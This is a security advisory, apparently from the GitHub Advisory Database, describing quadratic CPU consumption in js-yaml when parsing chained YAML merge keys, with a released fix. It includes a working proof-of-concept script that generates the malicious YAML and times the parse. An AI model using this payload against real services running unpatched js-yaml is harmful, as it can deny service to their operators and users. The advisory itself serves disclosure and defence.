js-yaml: YAML merge-key chains can force quadratic CPU consumption

### Impact js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one: ```yaml a0: &a0 { k0: 0 } a1: &a1 { <<: *a0, k1: 1 } a2: &a2 { <<: *a1, k2: 2 } a3: &a3 { <<: *a2, k3: 3 } ... b: *aN ``` For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size. ### PoC From N = 4000 delay become > 1s (doc size < 100K) ```js import { performance } from 'node:perf_hooks' import { Buffer } from 'node:buffer' import { load, YAML11_SCHEMA } from 'js-yaml' const n = Number(process.argv[2] || 4000) function makeMergeChain (count) { const lines = ['a0: &a0 { k0: 0 }'] for (let i = 1; i < count; i++) { lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`) } lines.push(`b: *a${count - 1}`) return `${lines.join('\n')}\n` } const source = makeMergeChain(n) console.log(source.split('\n').slice(0, 8).join('\n')) console.log('...') console.log(source.split('\n').slice(-4).join('\n')) console.log() console.log(`N: ${n}`) console.log(`YAML size: ${Buffer.byteLength(source)} bytes`) const started = performance.now() const result = load(source, { schema: YAML11_SCHEMA }) const elapsed = performance.now() - started console.log(`parse time: ${elapsed.toFixed(1)} ms`) console.log(`top-level keys: ${Object.keys(result).length}`) console.log(`b keys: ${Object.keys(result.b).length}`) ``` ### Patches Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.

Source published

20 Jul 2026 21:19:09 UTC

Source modified

10 Sep 2026 03:50:12 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH